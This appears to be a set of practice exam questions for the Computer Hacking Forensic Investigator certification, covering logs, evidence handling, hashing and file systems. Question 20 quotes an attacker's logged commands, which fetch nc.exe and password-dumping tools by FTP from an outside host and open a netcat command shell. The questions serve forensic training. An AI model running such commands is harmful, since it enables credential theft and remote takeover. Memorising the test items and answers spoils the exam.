312-49 : Computer Hacking Forensic Investigator : Part 02

312-49 : Computer Hacking Forensic Investigator : Part 02

  1. When examining the log files from a Windows IIS Web Server, how often is a new log file created?

    • the same log is used at all times
    • a new log file is created everyday
    • a new log file is created each week
    • a new log is created each time the Web Server is started

  2. Which part of the Windows Registry contains the user’s password file?

    • HKEY_LOCAL_MACHINE
    • HKEY_CURRENT_CONFIGURATION
    • HKEY_USER
    • HKEY_CURRENT_USER

  3. An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital video discs (DVDs) by using a large magnet. You inform him that this method will not be effective in wiping out the data because CDs and DVDs are ______________ media used to store large amounts of data and are not affected by the magnet.

    • logical
    • anti-magnetic
    • magnetic
    • optical

  4. Lance wants to place a honeypot on his network. Which of the following would be your recommendations?

    • Use a system that has a dynamic addressing on the network
    • Use a system that is not directly interacting with the router
    • Use it on a system in an external DMZ in front of the firewall
    • It doesn’t matter as all replies are faked

  5. What does the acronym POST mean as it relates to a PC?

    • Primary Operations Short Test
    • PowerOn Self Test
    • Pre Operational Situation Test
    • Primary Operating System Test

  6. Which legal document allows law enforcement to search an office, place of business, or other locale for evidence relating to an alleged crime?

    • bench warrant
    • wire tap
    • subpoena
    • search warrant

  7. You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation.

    Your job is to complete the required evidence custody forms to properly document each piece of evidence as it is collected by other members of your team. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help preserve the chain of custody of the case?

    • All forms should be placed in an approved secure container because they are now primary evidence in the case.
    • The multi-evidence form should be placed in the report file and the single-evidence forms should be kept with each hard drive in an approved secure container.
    • The multi-evidence form should be placed in an approved secure container with the hard drives and the single-evidence forms should be placed in the report file.
    • All forms should be placed in the report file because they are now primary evidence in the case.

  8. The MD5 program is used to:

    • wipe magnetic media before recycling it
    • make directories on an evidence disk
    • view graphics files on an evidence drive
    • verify that a disk is not altered when you examine it

  9. Which is a standard procedure to perform during all computer forensics investigations?

    • with the hard drive removed from the suspect PC, check the date and time in the system’s CMOS
    • with the hard drive in the suspect PC, check the date and time in the File Allocation Table
    • with the hard drive removed from the suspect PC, check the date and time in the system’s RAM
    • with the hard drive in the suspect PC, check the date and time in the system’s CMOS

  10. E-mail logs contain which of the following information to help you in your investigation? (Choose four.)

    • user account that was used to send the account
    • attachments sent with the e-mail message
    • unique message identifier
    • contents of the e-mail message
    • date and time the message was sent

  11. In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze?

    • one who has NTFS 4 or 5 partitions
    • one who uses dynamic swap file capability
    • one who uses hard disk writes on IRQ 13 and 21
    • one who has lots of allocation units per block or cluster

  12. In what way do the procedures for dealing with evidence in a criminal case differ from the procedures for dealing with evidence in a civil case?

    • evidence must be handled in the same way regardless of the type of case
    • evidence procedures are not important unless you work for a law enforcement agency
    • evidence in a criminal case must be secured more tightly than in a civil case
    • evidence in a civil case must be secured more tightly than in a criminal case

  13. You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question whether evidence has been changed while at the lab. What can you do to prove that the evidence is the same as it was when it first entered the lab?

    • make an MD5 hash of the evidence and compare it with the original MD5 hash that was taken when the evidence first entered the lab
    • make an MD5 hash of the evidence and compare it to the standard database developed by NIST
    • there is no reason to worry about this possible claim because state labs are certified
    • sign a statement attesting that the evidence is the same as it was when it entered the lab

  14. Study the log given below and answer the following question:

    Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169
    Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482
    Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53
    Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21
    Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53
    Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
    Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
    Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111
    Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80
    Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53
    Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
    Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)
    Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)
    Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080
    Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558

    Precautionary measures to prevent this attack would include writing firewall rules. Of these firewall rules, which among the following would be appropriate?

    • Disallow UDP53 in from outside to DNS server
    • Allow UDP53 in from DNS server to outside
    • Disallow TCP53 in from secondaries or ISP server to DNS server
    • Block all UDP traffic

  15. When monitoring for both intrusion and security events between multiple computers, it is essential that the computers’ clocks are synchronized. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace. What is the name of the service used to synchronize time among multiple computers?

    • Universal Time Set
    • Network Time Protocol
    • SyncTime Service
    • Time-Sync Protocol

  16. When investigating a potential e-mail crime, what is your first step in the investigation?

    • Trace the IP address to its origin
    • Write a report
    • Determine whether a crime was actually committed
    • Recover the evidence

  17. If a suspect computer is located in an area that may have toxic chemicals, you must:

    • coordinate with the HAZMAT team
    • determine a way to obtain the suspect computer
    • assume the suspect machine is contaminated
    • do not enter alone

  18. The following excerpt is taken from a honeypot log. The log captures activities across three days.
    There are several intrusion attempts; however, a few are successful.
    (Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)

    Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169
    Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482
    Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53
    Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21
    Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53
    Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
    Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
    Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111
    Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80
    Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53
    Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
    Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)
    Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)
    Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080
    Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558

    From the options given below choose the one which best interprets the following entry:
    Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

    • An IDS evasion technique
    • A buffer overflow attempt
    • A DNS zone transfer
    • Data being retrieved from 63.226.81.13

  19. What happens when a file is deleted by a Microsoft operating system using the FAT file system?

    • only the reference to the file is removed from the FAT
    • the file is erased and cannot be recovered
    • a copy of the file is stored and the original file is erased
    • the file is erased but can be recovered

  20. The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
    He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

    “cmd1.exe /c open 213.116.251.162 >ftpcom”
    “cmd1.exe /c echo johna2k >>ftpcom”
    “cmd1.exe /c echo haxedj00 >>ftpcom”
    “cmd1.exe /c echo get nc.exe >>ftpcom”
    “cmd1.exe /c echo get pdump.exe >>ftpcom”
    “cmd1.exe /c echo get samdump.dll >>ftpcom”
    “cmd1.exe /c echo quit >>ftpcom”
    “cmd1.exe /c ftp -s:ftpcom”
    “cmd1.exe /c nc -l -p 6969 -e cmd1.exe”

    What can you infer from the exploit given?

    • It is a local exploit where the attacker logs in using username johna2k
    • There are two attackers on the system – johna2k and haxedj00
    • The attack is a remote exploit and the hacker downloads three files
    • The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port
    Explanation:
    The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

 

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